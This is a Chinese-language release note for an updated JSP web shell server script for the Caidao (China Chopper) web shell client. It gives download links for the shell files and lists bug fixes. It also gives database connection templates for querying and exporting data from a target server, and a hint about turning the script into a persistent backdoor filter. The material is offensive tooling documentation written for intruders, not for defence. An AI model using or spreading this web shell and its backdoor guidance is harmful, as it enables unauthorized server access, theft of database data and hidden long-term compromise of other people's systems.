菜刀Jsp脚本最终更新版
脚本下载地址: JSP脚本:http://xsser.me/caidao/css.jsp Jspx脚本:http://xsser.me/caidao/jspx.jspx Jspf脚本:http://xsser.me/caidao/css.jspf
详情:http://xsser.me/caidao/1.txt
修复上一版BUG:
1、修复Oracle无setCatalog的BUG。
2、修复菜刀中一切中文乱码问题(包括查询、文件路径、文件内容、SQL导出的文件内容、文件上传等)。
功能增改:
1、新增查询参数:--f:-to:
select * from sys_user --f:-to:d:/1.txt
select * from sys_user --f:1.txt (--f参数依旧支持)
-to:后面跟的是要保存的绝对路径
其他问题
1、菜刀上传功能在新版本的客户端并未传参,所以新版本无法上传文件(可修复,懒得改,如果想用文件上传功能自行找老版本)。
2、菜刀编码问题需要在连接Shell的时候指定编码,这里的编码是全局性的。
连接数据库问题:
1、修改了数据库连接方式如Oracle连接方式改为:
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@localhost:1521
scott
woshimima
orcl
</X>
jdbc:oracle:thin:@localhost:1521是对应版本的Oracle的URL地址。localhost替换成目标IP、1521是默认Oracle端口。
scott是用户名
woshimima是数据库密码
orcl是数据库名
其中帐号或密码可以为空的表示方式必须是:[/null]
如Mysql空密码连接示例:
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test
root
[/null]
</X>
[/null]表示空密码
jdbc:mysql://localhost/test当中的test是数据库名
其他数据库连接方式:
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://192.168.1.132:1433;databaseName=test
sa
woshimima
</X>
databaseName=test是对应的数据名
sa是帐号
连接任意数据库:
ORACLE:
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@主机地址:端口
帐号
密码
数据库名
MSSQL2000:
com.microsoft.jdbc.sqlserver.SQLServerDriver
jdbc:microsoft:sqlserver://主机地址:端口;databasename=数据库名
帐号
密码
MSSQL2005:
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://主机地址:端口;databaseName==数据库名
帐号
密码
MYSQL:
com.mysql.jdbc.Driver
jdbc:mysql://主机地址:端口/数据库名
帐号
密码
Db2:
com.ibm.db2.jcc.DB2Driver
jdbc:db2://主机地址:端口/数据库名
帐号
密码
Informix:
com.informix.jdbc.IfxDriver
jdbc:informix-sqli://主机地址:端口/数据库名
帐号
密码
Sybase2:
com.sybase.jdbc2.jdbc.SybDriver
jdbc:sybase:Tds:主机地址:端口?ServiceName=数据库名
帐号
密码
Sybase3:
com.sybase.jdbc3.jdbc.SybDriver
jdbc:sybase:Tds:主机地址:端口?ServiceName=数据库名
帐号
密码
PostgreSQL:
org.postgresql.Driver
jdbc:postgresql://主机地址:端口/数据库名
帐号
密码
Teradata:
com.ncr.teradata.TeraDriver
jdbc:teradata://主机地址:端口/数据库名
帐号
密码
Netezza:
org.netezza.Driver
jdbc:netezza://主机地址:端口/数据库名
帐号
密码
JTDS驱动连接MSSQL:
net.sourceforge.jtds.jdbc.Driver
jdbc:jtds:sqlserver://主机地址:端口/数据库名
帐号
其他:
1、菜刀jsp脚本更新版.jsp为最新压缩包、菜刀jsp脚本文明版.jsp默认注视掉了写文件功能,菜刀jsp脚本无压缩版.jsp是直接把代码格式化后的效果、Chropper.java是Servlet版本。
2、关于功能问题,做得太强大了某些便宜会觉得不应该所以这个版本并不是最强大的版本,那样的版本也不会放出来。
3、菜刀jsp永久后门实现这个功能在通过修改Chropper.java为Filter然后修改服务器某部分配置即可实现,有需求的同学自行修改。